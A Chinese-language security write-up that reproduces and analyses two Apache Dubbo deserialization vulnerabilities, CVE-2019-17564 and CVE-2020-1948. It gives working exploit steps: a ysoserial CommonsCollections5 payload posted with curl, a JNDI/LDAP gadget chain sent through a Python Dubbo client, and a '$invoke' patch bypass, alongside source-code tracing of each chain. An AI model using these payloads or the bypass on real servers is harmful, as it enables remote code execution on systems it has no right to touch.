分析一下CVE-2019-17564和CVE-2020-1849两个漏洞
前置知识
简介
Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。
dubbo
dubbo支持多种序列化方式并且序列化是和协议相对应的。比如:Dubbo支持dubbo、rmi、Hessian、http、webservice、thrift、redis等多种协议。
Hessian
Hessian是一种跨语言的高效二进制序列化方式。但这里实际不是原生的Hessian2序列化,而是阿里修改过的Hessian lite,Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。
Hessian协议用于集成Hessian的服务,Hessian底层采用Http通讯,采用Servlet暴露服务,Dubbo缺省内嵌Jetty作为服务器实现。
Dubbo的Hessian协议可以和原生Hessian服务互操作,即:
- 提供者用Dubbo的Hessian协议暴露服务,消费者直接用标准Hessian接口调用
- 或者提供者用标准Hessian暴露服务,消费者用Dubbo的Hessian协议调用
协议关系
- Dubbo 从大的层面上将是RPC框架,负责封装RPC调用,支持很多RPC协议
- RPC协议包括了dubbo、rmi、hession、webservice、http、redis、rest、thrift、memcached、jsonrpc等
- Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化
Dubbo架构
环境搭建
方法一
安装zookeeper
1 2 3 4 5
| # 从官网https://zookeeper.apache.org/releases.html下载 # 将conf目录下的配置文件zoo_sample.cfg修改为zoo.cfg # 并且修改或添加配置文件中的dataDir和dadaLogDir地址 # 运行bin目录下的zkServer启动zookeeper服务 sudo ./zkServer.sh start
|
或者用docker安装
1
| docker run --rm --name zookeeper -p 2181:2181 zookeeper
|
安装dubbo-samples/dubbo-samples-http
1 2 3
| git clone https://github.com/apache/dubbo-samples.git # 使用dubbo-samples-http模块 # 把resources/spring/http-provider.xml里面的端口修改为8081(8080容易起冲突)
|
master分支的dubbo-samples只能导入2.7.6及其以上版本的dubbo,低于这个版本的会抛出以下错误
1
| Cannot resolve org.apache.dubbo:dubbo:unknown
|
解决方法是下载2.6.x分支的dubbo-samples
方法二
推荐使用此方法
安装dubbo-spring-boot-project
1 2 3
| git clone https://github.com/apache/dubbo-spring-boot-project.git cd dubbo-spring-boot-project git checkout 2.7.6
|
方法三
直接从docker中拉环境
1 2
| docker pull dsolab/dubbo:cve-2020-1948 docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d
|
JNDI工具
工具一
JNDI-Injection-Exploit
我看大家都在用,但是我觉得不好用,服务冗余,而且端口每次更改都要重新编译
1 2 3 4 5
| git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit mvn clean package -DskipTests # 保证1099, 1389, 8180未被使用,或者自己修改端口 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
|
工具二
marshalsec
推荐使用此方法
1 2 3 4 5 6 7 8 9 10 11
| public class Exploit { public Exploit(){ try { java.lang.Runtime.getRuntime().exec(new String[]{"calc"}); } catch (java.io.IOException e) { e.printStackTrace(); } } }
|
1 2 3
| javac Exploit.java python -m http.server 8000 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1389
|
这里注意http://127.0.0.1:8000/#Exploit
不要写成http://127.0.0.1:8000#Exploit
漏洞分析
CVE-2019-17564
2.7.0 <= Apache Dubbo <= 2.7.4.1
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x
添加依赖
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
|
漏洞利用
1 2
| java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 calc > payload.out curl http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService --data-binary @payload.out
|
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public class HttpInvokerServiceExporter extends RemoteInvocationSerializingExporter implements HttpRequestHandler { public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { RemoteInvocation invocation = this.readRemoteInvocation(request); RemoteInvocationResult result = this.invokeAndCreateResult(invocation, this.getProxy()); this.writeRemoteInvocationResult(request, response, result); } catch (ClassNotFoundException var5) { throw new NestedServletException("Class not found during deserialization", var5); } } protected RemoteInvocation readRemoteInvocation(HttpServletRequest request) throws IOException, ClassNotFoundException { return this.readRemoteInvocation(request, request.getInputStream()); }
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException { ObjectInputStream ois = this.createObjectInputStream(this.decorateInputStream(request, is));
RemoteInvocation var4; try { var4 = this.doReadRemoteInvocation(ois); } finally { ois.close(); }
return var4; }
protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException { ObjectInputStream ois = this.createObjectInputStream(this.decorateInputStream(request, is));
RemoteInvocation var4; try { var4 = this.doReadRemoteInvocation(ois); } finally { ois.close(); }
return var4; }
|
跟进doReadRemoteInvocation()
函数
1 2 3 4 5 6 7 8 9 10
| public abstract class RemoteInvocationSerializingExporter extends RemoteInvocationBasedExporter implements InitializingBean { protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException { Object obj = ois.readObject(); if (!(obj instanceof RemoteInvocation)) { throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj)); } else { return (RemoteInvocation)obj; } }
|
patch
https://github.com/apache/dubbo/compare/dubbo-2.7.3...dubbo-2.7.4#diff-96ea3c598a0fa6d0ad3f028e676b17525d256692f9995f922267f83294dc04edR79
将HttpInvokerServiceExporter
转化为JsonRpcServer
CVE-2020-1948
2.7.0 <= Apache Dubbo <= 2.7.6
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x
添加依赖
在dubbo-spring-boot-project\dubbo-spring-boot-samples\dubbo-registry-nacos-samples\provider-sample\pom.xml处添加
1 2 3 4 5 6
| <dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> <scope>compile</scope> </dependency>
|
网上很多的分析文章直接把python版本和Java版本的混为一谈,整得我复现的时候一直出不来,后来才看到一篇文章说出了它们的区别,那些乱写的漏洞分析文章真是害人不浅…
Python版本
漏洞利用
适用于2.7.5之前的版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from dubbo.codec.hessian2 import new_object from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 12345)
JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource="ldap://127.0.0.1:8087/Exploit", strMatchColumns=["foo"] ) JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl )
resp = client.send_request_and_return_response( service_name='com.example.provider.service.UesrService', method_name='test', args=[toStringBean])
|
漏洞分析
漏洞链如下
入口点在DecodeHandler
类的received
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class DecodeHandler extends AbstractChannelHandlerDelegate {
public void received(Channel channel, Object message) throws RemotingException { if (message instanceof Decodeable) { this.decode(message); }
if (message instanceof Request) { this.decode(((Request)message).getData()); }
if (message instanceof Response) { this.decode(((Response)message).getResult()); }
this.handler.received(channel, message); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public class DubboProtocol extends AbstractProtocol { Invoker<?> getInvoker(Channel channel, Invocation inv) throws RemotingException { boolean isCallBackServiceInvoke = false; boolean isStubServiceInvoke = false; int port = channel.getLocalAddress().getPort(); String path = (String)inv.getAttachments().get("path"); isStubServiceInvoke = Boolean.TRUE.toString().equals(inv.getAttachments().get("dubbo.stub.event")); if (isStubServiceInvoke) { port = channel.getRemoteAddress().getPort(); }
isCallBackServiceInvoke = this.isClientSide(channel) && !isStubServiceInvoke; if (isCallBackServiceInvoke) { path = path + "." + (String)inv.getAttachments().get("callback.service.instid"); inv.getAttachments().put("_isCallBackServiceInvoke", Boolean.TRUE.toString()); }
String serviceKey = serviceKey(port, path, (String)inv.getAttachments().get("version"), (String)inv.getAttachments().get("group")); DubboExporter<?> exporter = (DubboExporter)this.exporterMap.get(serviceKey); if (exporter == null) { throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv); } else { return exporter.getInvoker(); } }
|
来到了RpcInvocation
类
1 2 3 4 5
| public class RpcInvocation implements Invocation, Serializable {
public String toString() { return "RpcInvocation [methodName=" + this.methodName + ", parameterTypes=" + Arrays.toString(this.parameterTypes) + ", arguments=" + Arrays.toString(this.arguments) + ", attachments=" + this.attachments + "]"; }
|
来到了ToStringBean
类的Gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class ToStringBean implements Serializable {
private String toString(String prefix) { StringBuffer sb = new StringBuffer(128);
try { List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass); Iterator var10 = propertyDescriptors.iterator();
while(var10.hasNext()) { PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next(); String propertyName = propertyDescriptor.getName(); Method getter = propertyDescriptor.getReadMethod(); Object value = getter.invoke(this.obj, NO_PARAMS); this.printProperty(sb, prefix + "." + propertyName, value); } } catch (Exception var9) { LOG.error("Error while generating toString", var9); Class<? extends Object> clazz = this.obj.getClass(); String errorMessage = var9.getMessage(); sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage)); }
|
只要我们的JdbcRowSetImpl
类设置了databaseMetaData
属性就会调其get()
方法,也就能触发其lookup()
函数触发JNDI注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {
public DatabaseMetaData getDatabaseMetaData() throws SQLException { Connection var1 = this.connect(); return var1.getMetaData(); } private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; } }
|
Java版本
漏洞利用
IDEA导入marshalsec
修改DemoService.java
,添加接口
1
| String commonTest(Object o);
|
修改DefaultDemoService.java
,实现接口
1 2 3 4
| @Override public String commonTest(Object o) { return "pwned"; }
|
修改DubboAutoConfigurationConsumerBootstrap.java
,修改runner运行commonTest()
方法
漏洞分析
漏洞链如下
入口点也在DecodeHandler
类的received
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public class DecodeHandler extends AbstractChannelHandlerDelegate {
public void received(Channel channel, Object message) throws RemotingException { if (message instanceof Decodeable) { this.decode(message); }
if (message instanceof Request) { this.decode(((Request)message).getData()); }
if (message instanceof Response) { this.decode(((Response)message).getResult()); }
this.handler.received(channel, message); } private void decode(Object message) { if (message instanceof Decodeable) { try { ((Decodeable)message).decode(); if (log.isDebugEnabled()) { log.debug("Decode decodeable message " + message.getClass().getName()); } } catch (Throwable var3) { if (log.isWarnEnabled()) { log.warn("Call Decodeable.decode failed: " + var3.getMessage(), var3); } } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public class DecodeableRpcInvocation extends RpcInvocation implements Codec, Decodeable {
public void decode() throws Exception { if (!this.hasDecoded && this.channel != null && this.inputStream != null) { try { this.decode(this.channel, this.inputStream); } catch (Throwable var5) { if (log.isWarnEnabled()) { log.warn("Decode rpc invocation failed: " + var5.getMessage(), var5); }
this.request.setBroken(true); this.request.setData(var5); } finally { this.hasDecoded = true; } }
} public Object decode(Channel channel, InputStream input) throws IOException { ... args = new Object[pts.length];
for(int i = 0; i < args.length; ++i) { try { args[i] = in.readObject(pts[i]); } catch (Exception var17) { if (log.isWarnEnabled()) { log.warn("Decode argument failed: " + var17.getMessage(), var17); } } } ...
|
一路readObject()
会来到下面的readMap()
方法
1 2 3 4 5 6 7 8 9 10
| public class Hessian2Input extends AbstractHessianInput implements Hessian2Constants { public Object readObject(List<Class<?>> expectedTypes) throws IOException { ... case 72: boolean keyValuePair = expectedTypes != null && expectedTypes.size() == 2; reader = this.findSerializerFactory().getDeserializer(Map.class); return reader.readMap(this, keyValuePair ? (Class)expectedTypes.get(0) : null, keyValuePair ? (Class)expectedTypes.get(1) : null); ...
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| public class MapDeserializer extends AbstractMapDeserializer {
public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException { Object map; if (this._type == null) { map = new HashMap(); } else if (this._type.equals(Map.class)) { map = new HashMap(); } else if (this._type.equals(SortedMap.class)) { map = new TreeMap(); } else { try { map = (Map)this._ctor.newInstance(); } catch (Exception var6) { throw new IOExceptionWrapper(var6); } }
in.addRef(map); this.doReadMap(in, (Map)map, expectKeyType, expectValueType); in.readEnd(); return map; } protected void doReadMap(AbstractHessianInput in, Map map, Class<?> keyType, Class<?> valueType) throws IOException { Deserializer keyDeserializer = null; Deserializer valueDeserializer = null; SerializerFactory factory = this.findSerializerFactory(in); if (keyType != null) { keyDeserializer = factory.getDeserializer(keyType.getName()); }
if (valueType != null) { valueDeserializer = factory.getDeserializer(valueType.getName()); }
while(!in.isEnd()) { map.put(keyDeserializer != null ? keyDeserializer.readObject(in) : in.readObject(), valueDeserializer != null ? valueDeserializer.readObject(in) : in.readObject()); }
}
|
因为我们的hashMap类在反序列化时会调用hashCode()方法进行赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| public class EqualsBean implements Serializable { public int hashCode() { return this.beanHashCode(); } public int beanHashCode() { return this.obj.toString().hashCode(); } public String toString() { ... result = this.toString(prefix); if (needStackCleanup) { PREFIX_TL.remove(); }
return result; } private String toString(String prefix) { StringBuffer sb = new StringBuffer(128);
try { List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass); Iterator var10 = propertyDescriptors.iterator();
while(var10.hasNext()) { PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next(); String propertyName = propertyDescriptor.getName(); Method getter = propertyDescriptor.getReadMethod(); Object value = getter.invoke(this.obj, NO_PARAMS); this.printProperty(sb, prefix + "." + propertyName, value); } } catch (Exception var9) { LOG.error("Error while generating toString", var9); Class<? extends Object> clazz = this.obj.getClass(); String errorMessage = var9.getMessage(); sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage)); }
return sb.toString(); }
|
patch1
https://github.com/apache/dubbo/compare/dubbo-2.7.6...dubbo-2.7.7#diff-a32630b1035c586f6eae2d778e19fc172e986bb0be1d4bc642f8ee79df48ade0R133
在DecodeableRpcInvocation
类中增加对参数的判断,用String.equals()
方法对比了method
参数是否和INVOKE_ASYNC
常量的值是否相同
patch绕过
在if条件中,method
参数会进入isEcho()
函数,用String.equals()
方法对比了$ECHO
常量的值和method
参数是否相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class DecodeableRpcInvocation extends RpcInvocation implements Codec, Decodeable { ... if (pts == DubboCodec.EMPTY_CLASS_ARRAY) { if (!RpcUtils.isGenericCall(path, getMethodName()) && !RpcUtils.isEcho(path, getMethodName())) { throw new IllegalArgumentException("Service not found:" + path + ", " + getMethodName()); } pts = ReflectUtils.desc2classArray(desc); } ... public class RpcUtils { ... public static boolean isGenericCall(String path, String method) { return $INVOKE.equals(method) || $INVOKE_ASYNC.equals(method); } public static boolen isEcho(String path, String method) { return $ECHO.equals(method); } ...
|
所以只要让method的值等于"$invoke"
,"$invokeAsync"
,"$echo"
任意一个即可绕过
1 2 3 4
| resp = client.send_request_and_return_response( service_name='com.example.provider.service.UesrService', method_name='$invoke', args=[toStringBean])
|
patch2
https://github.com/apache/dubbo/commit/5ad186fa874d9f0dfb87b989e54c1325d39abd40
最后又验证了parameterTypesDesc
的类型
参考
dubbo源码浅析:默认反序列化利用之hessian2
Dubbo反序列化RCE利用之新拓展面 - Dubbo Rouge攻击客户端
Apache Dubbo 2.7.6 反序列化漏洞复现及分析